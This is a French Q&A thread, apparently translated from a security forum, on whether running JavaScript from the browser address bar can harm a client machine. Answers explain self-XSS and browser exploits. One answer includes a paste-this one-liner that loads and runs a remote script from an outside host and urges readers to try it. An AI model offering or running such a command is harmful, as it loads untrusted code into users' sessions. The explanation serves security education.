web-dev-qa-db-fra.com

L'exécution javascript de la barre d'adresse peut-elle endommager la machine du client?

Étant donné que les navigateurs modernes interdisent de nos jours à JavaScript l'accès à toutes les ressources sur la machine du client, l'exécution de JavaScript à partir de la barre d'adresse représente-t-elle une menace pour la machine du client (la machine sur laquelle le navigateur s'exécute)?

21
gurvinder372

Ce JavaScript exécuté à partir de la barre d'adresse s'exécutera dans le contexte du site Web affiché dans cet onglet. Cela signifie un accès complet à ce site Web et cela pourrait changer l'apparence et le comportement du site Web du point de vue de l'utilisateur.

Cette attaque est appelée self XSS et peut nuire à l'utilisateur et indirectement à la machine. Un site Web réputé peut demander à l'utilisateur de télécharger et d'installer un morceau de code exécutable malveillant en prétendant, par exemple, qu'il a besoin d'une mise à jour Flash.

Pour obtenir un bel exemple visuel de cela, tapez manuellement javascript: Dans votre barre d'adresse puis collez ceci: z=document.createElement("script");z.src="https://peniscorp.com/topkek.js"; document.body.appendChild(z); Si vous ne me faites pas confiance, faites-le dans la barre d'adresse d'un site Web Vous n'êtes pas connecté.

La plupart des navigateurs ont réalisé cette vulnérabilité et tentent de limiter l'impact en supprimant javascript: Lors du collage de javascript:some_js_code Dans la barre d'adresse. Mais il est toujours possible de l'écrire manuellement et de l'exécuter.

27
Cristian Dobre

Je voudrais compléter la réponse acceptée de Cristian Dobre, qui est correcte mais incomplète.

L'exécution de javascript (que ce soit via une barre d'adresse ou via des moyens plus classiques n'a pas d'importance ici) peut, dans certains cas, conduire à l'exécution de code à distance en exploitant les débordements de tampon (ou défauts similaires) dans les navigateurs. C'est l'une des raisons pour lesquelles la mise à jour régulière des navigateurs est assez importante.

De telles occurrences sont rarement découvertes dans la nature mais existent, et de nouvelles sont découvertes chaque année (Chrome en avait moins que Firefox qui a BEAUCOUP MOINS qu'IE, dans le passé).

Un bon exemple ici sur SO: https://stackoverflow.com/questions/381171/help-me-understand-this-javascript-exploit

Donc, pour répondre à votre question: oui, cela peut endommager la machine d'un client. Si la machine est entièrement corrigée, seul un jour zéro (extrêmement improbable mais toujours techniquement possible) pourrait faire un tel dommage. Les jours zéro avec un tel pouvoir sont principalement, "heureusement", utilisés pour des attaques ciblées afin d'éviter l'attention et de maximiser les chances de non-détection (et, par conséquent, de réutilisation future).

6
niilzon